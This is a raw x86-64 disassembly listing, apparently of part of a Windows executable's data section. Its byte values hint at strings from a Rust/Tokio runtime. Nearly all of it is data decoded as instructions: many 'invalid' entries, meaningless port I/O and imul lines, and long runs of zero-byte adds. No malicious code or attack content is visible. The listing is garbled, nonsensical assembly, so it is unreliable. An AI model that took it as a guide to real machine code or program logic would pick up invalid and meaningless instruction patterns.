jb 0x1400e1bd4
push rdx
push rdx
jae 0x1400e1be1
jae 0x1400e1be1
jne 0x1400e1be6
invalid
jne 0x1400e1bec
jns 0x1400e1bc0
js 0x1400e1be2
js 0x1400e1be2
invalid
jne 0x1400e1bf4
invalid
invalid
invalid
jb 0x1400e1c06
outsd dx, dword [rsi]
jae 0x1400e1c0c
jae 0x1400e1bff
jae 0x1400e1be0
jae 0x1400e1be0
jbe 0x1400e1c08
jbe 0x1400e1c08
invalid
jae 0x1400e1bf7
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
invalid
outsb dx, byte [rsi]
jns 0x1400e1bf6
imul ebp, dword [rsi + 0x6b], 0x766e4973
invalid
outsb dx, byte [rsi]
imul esi, dword [rbx + 0x49], 0x6e
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1400e1c13
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x69], 0x616e656c
insd dword [rdi], dx
jb 0x1400e1c27
jb 0x1400e1c27
jb 0x1400e1c27
jne 0x1400e1c2f
outsb dx, byte gs:[rsi]
je 0x1400e1c12
imul esi, dword [rbx + 0x74], 0x4c6f6f54
outsd dx, dword [rsi]
jae 0x1400e1c3d
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
je 0x1400e1c39
jb 0x1400e1c48
jne 0x1400e1c48
je 0x1400e1c3f
push rbp
push rbp
outsb dx, byte [rsi]
js 0x1400e1c50
invalid
invalid
je 0x1400e1c49
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
jne 0x1400e1c5f
jne 0x1400e1c5f
insw word [rdi], dx
insw word [rdi], dx
outsd dx, dword [rsi]
jb 0x1400e1c6c
je 0x1400e1c5e
je 0x1400e1c5e
jb 0x1400e1c4e
jb 0x1400e1c4e
push rbp
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jb 0x1400e1c6b
jp 0x1400e1c69
push rdx
invalid
push rbx
jns 0x1400e1c7f
je 0x1400e1c73
insd dword [rdi], dx
push rsp
imul ebp, dword [rbp + 0x65], 0x6f727245
jb 0x1400e1c88
jb 0x1400e1c88
outsd dx, dword [rsi]
jb 0x1400e1c7a
jo 0x1400e1c84
sub eax, 0x772d736d
imul ebp, dword [rsi + 0x2d], 0x65726f63
sub eax, 0x636e7973
push 0x2d316c2d
xor ch, byte [0x1a1651c67]
push rdi
invalid
imul esi, dword [rdi + rcx*2 + 0x6e], 0x72646441
xor dword [0x1403e4967], ebp
push rdi
invalid
outsb dx, byte [rsi]
jb 0x1400e1ca5
jb 0x1400e1ca5
jae 0x1400e1cb5
jae 0x1400e1cb5
add byte [rdi + 0x61], dl
push rdi
invalid
imul esp, dword [rbp + 0x42], 0x79
jns 0x1400e1c8b
jb 0x1400e1cb3
jb 0x1400e1cb3
jae 0x1400e1cc3
push rbx
imul ebp, dword [rsi + 0x67], 0x6c00656c
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
pop rsp
jae 0x1400e1cd5
pop rsp
jae 0x1400e1cd7
invalid
jae 0x1400e1cc7
ja 0x1400e1cd6
imul ebp, dword [rsi + 0x64], 0x5c73776f
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
ja 0x1400e1ce5
pop rsp
invalid
invalid
js 0x1400e1ce6
and byte [rdi], ch
and byte fs:[rdi], ch
and byte [rdi], ch
invalid
and dl, byte [rdi + 0x69]
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
ja 0x1400e1d03
and byte [rsi + 0x69], ah
insb byte [rdi], dx
and byte gs:[rsi + 0x61], ch
insd dword [rdi], dx
jae 0x1400e1cbc
insd dword [rdi], dx
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x1400e1d0a
imul ebp, dword [rsi + 0x20], 0x20602260
outsd dx, dword [rsi]
jb 0x1400e1cd3
outsb dx, byte gs:[rsi]
and byte fs:[rdi + 0x69], dh
je 0x1400e1d23
and byte [rax + 0x5c], ah
invalid
invalid
add dword [rax], eax
add byte [rax], al
add byte ss:[rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or dword [rax], esp
sub byte es:[rcx], ch
add byte [rcx], cl
or dword [rax], esp
sub byte es:[rcx], ch
pop rbx
pop rbp
jnp 0x1400e1d5e
pop rsi
cmp eax, 0x2b27213b
sub al, 0x60
invalid
sub ebp, dword [rax + riz*2]
jle 0x1400e1d10
jl 0x1400e1d29
add byte ds:[rax], al
push rdi
sbb al, 0xe
add dword [rax], eax
add byte [rax], al
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
pop rdx
add dword [rax], eax
add byte [rdx], ch
add byte [rax], al
add byte [rdi + 0x1c], dl
invalid
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
add dword [rax], eax
add byte [rdx], ch
add byte [rax], al
add byte [rbx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x69], al
imul r13d, dword [rbp + r12*2 + 0x2a], 0x61746166
insb byte [rdi], dx
and byte [rdx + 0x75], dh
outsb dx, byte [rsi]
je 0x1400e1da9
insd dword [rdi], dx
and byte gs:[rbp + 0x72], ah
jb 0x1400e1db6
jb 0x1400e1d83
and byte [rcx + 0x2f], cl
and byte [r13 + 0x72], r12b
jb 0x1400e1dc1
jb 0x1400e1d8e
and byte [rdi + 0x70], ch
jb 0x1400e1dbb
je 0x1400e1dc5
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x61], ah
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
invalid
add dword [rax], eax
add byte [rax], al
add byte [r8], al
add byte [rax], al
add byte [rax], al
add byte [rsi], cl
add byte [rax + r8 + 0x44], r10b
add byte [rax + rax + 0x4c], cl
add byte [rsi], ch
add byte [rax], al
add byte [rax + r8 + 0x44], r10b
add byte [rax + rax + 0x4c], cl
add byte [rsi], ch
add byte cs:[rax + rax + 0x4c], al
add byte [rax + rax + 0x4c], al
add byte [rax + rax], cl
add byte [rdi + 0x53], cl
push r11
and byte [rbp + 0x72], al
jb 0x1400e1e1a
jb 0x1400e1dcd
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x1400e1e20
invalid
jae 0x1400e1e2c
invalid
push rdi
sub byte [rcx], ch
and byte [rdx + 0x65], dh
je 0x1400e1e39
je 0x1400e1e39
jb 0x1400e1e34
outsb dx, byte [rsi]
and byte fs:[rbp + 0x72], ah
jb 0x1400e1e3c
jb 0x1400e1def
add byte [rbp + rbx + 0x1400e], ah
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
lodsd eax, dword [rsi]
sbb eax, 0x1400e
add byte [rax], al
and al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rbx], ecx
invalid
add byte [rbp + 0x1400e0b], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x1400e1e66
jb 0x1400e1e80
pop rsp
jae 0x1400e1e7e
pop rsp
jae 0x1400e1e80
invalid
jae 0x1400e1e78
outsd dx, dword [rsi]
jae 0x1400e1e4d
jb 0x1400e1e94
jae 0x1400e1e22
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], bl
invalid
add dword [rax], eax
add byte [rax], al
and dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
add byte es:[rax], al
add byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x1400e1eb3
invalid
push rdi
sub byte [rcx], ch
and byte [rdx + 0x65], dh
je 0x1400e1ecc
jb 0x1400e1ec7
and byte fs:[rcx + 0x6e], ch
jbe 0x1400e1ec1
insb byte [rdi], dx
imul esp, dword [rax + riz + 0x55], 0x312d4654
sub dword ss:[rax], eax
sub eax, 0x293631
add byte [rax], al
add byte [rax], al
movsb byte [rdi], byte [rsi]
sbb eax, 0x1400e
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
and dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
sahf
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x2e000000], bl
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x22000000], bl
add byte [rax], al
add byte [rax], al
cdq
add byte [rax], al
add byte [rdx], ah
add byte [rax], al
add byte [rsi + 0x61], ah
invalid
invalid
imul ebp, dword [rbp + rsi*2 + 0x72], 0x65672065
je 0x1400e1f58
imul ebp, dword [rsi + 0x67], 0x766e6520
and byte [rbx + 0x74], dh
jb 0x1400e1f59
outsb dx, byte [rsi]
and byte [esi + 0x72], ah
outsd dx, dword [rsi]
insd dword [rdi], dx
and byte [rdi + 0x53], cl
cmp ah, byte [rax]
add byte [rax], al
add byte [rax], al
fcomp dword [rsi]
invalid
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [r8], r8b
add byte [rax + rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
adc al, 0
add byte [rax], al
sub byte [rdi], bl
invalid
jb 0x1400e3d4d
and byte [rcx + 0x63], ah
jno 0x1400e3d62
imul esi, dword [rdx + 0x65], 0x2e64
add byte [rax], al
add byte [rax], al
pop rax
cmp al, 0xe
add dword [rax], eax
add byte [rax], al
invalid
and byte [rax + rbp*2 + 0x69], dl
jae 0x1400e3d73
push 0x65707061
outsb dx, byte [rsi]
jae 0x1400e3d7b
invalid
and byte [rcx + 0x20], ah
jne 0x1400e3dd6
invalid
and byte [rax + 0x62], ah
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
invalid
outsb dx, byte [rsi]
outsd dx, dword [rsi]
jne 0x1400e3e4d
and byte [rcx + riz*2 + 0x73], dh
imul esi, dword [rbx + 0x2e], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [0x1400f7dfc], bh
add byte [rax], al
rol dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x73], ah
invalid
jae 0x1400e3e6e
invalid
jb 0x1400e3e72
imul ebp, dword [rdi + 0x6e], 0x69616620
insb byte [rdi], dx
cmp ah, byte fs:[rax]
invalid
jb 0x1400e3eb2
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x1400e3eba
je 0x1400e3ec0
jae 0x1400e3e8b
imul ebp, dword [rdi + 0x2d], 0x37316636
xor word [rdi], si
xor dh, byte fs:[rdx]
invalid
outsd dx, dword [rsi]
imul ebp, dword [rcx + 0x6f], 0x2d
xor dword [rsi], ebp
xor esi, dword [rsi + rbp]
xor byte [rbx + rsi*2 + 0x72], bl
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x1400e3ef4
js 0x1400e3f05
pop rsp
jb 0x1400e3f09
outsb dx, byte [rsi]
je 0x1400e3f00
insd dword [rdi], dx
jb 0x1400e3f0f
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
or eax, 0x41000000
and byte [r15 + rbp*2 + 0x6b], dl
imul ebp, dword [rdi + 0x20], 0x20782e31
push rsp
outsd dx, dword [rsi]
imul ebp, dword [rcx + 0x6f], 0x20
xor dword [rsi], ebp
js 0x1400e3ee4
invalid
invalid
invalid
push 0x75722065
outsb dx, byte [rsi]
je 0x1400e3f71
insd dword [rdi], dx
and byte gs:[rdx + 0x75], ah
imul ebp, dword [rsp + riz*2 + 0x65], 0x6f742072
jb 0x1400e3f33
je 0x1400e3f84
and byte [rbp + 0x6e], ah
invalid
and byte [rdi + 0x61], dh
jae 0x1400e3f58
outsw dx, word [rsi]
jne 0x1400e3faa
sub al, 0x20
invalid
invalid
and byte [rdx + 0x75], dh
outsb dx, byte [rsi]
je 0x1400e3fe0
insd dword [rdi], dx
and byte gs:[rdx + 0x75], ah
imul ebp, dword [rsp + riz*2 + 0x65], 0x6f742072
and byte [rbp + 0x6e], ah
invalid
je 0x1400e4014
and byte gs:[rbx + 0x6f], al
jb 0x1400e4017
and byte [rdx + 0x61], ah
invalid
pop rsp
ja 0x1400e404c
insb byte [rdi], dx
insb byte [rdi], dx
imul esp, dword [rcx + 0x6d], 0x696e6163
outsb dx, byte [rsi]
pop rsp
invalid
xor dword [rdi], esi
xor dh, byte fs:[rdx]
xor dh, byte [rdx]
invalid
je 0x1400e40ad
je 0x1400e40b8
jb 0x1400e40b7
invalid
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rbx], cl
add dword [rax], eax
add byte [0x1180e40c1], al
or eax, dword [rcx]
add byte [rax], al
add eax, 0xd8000000
invalid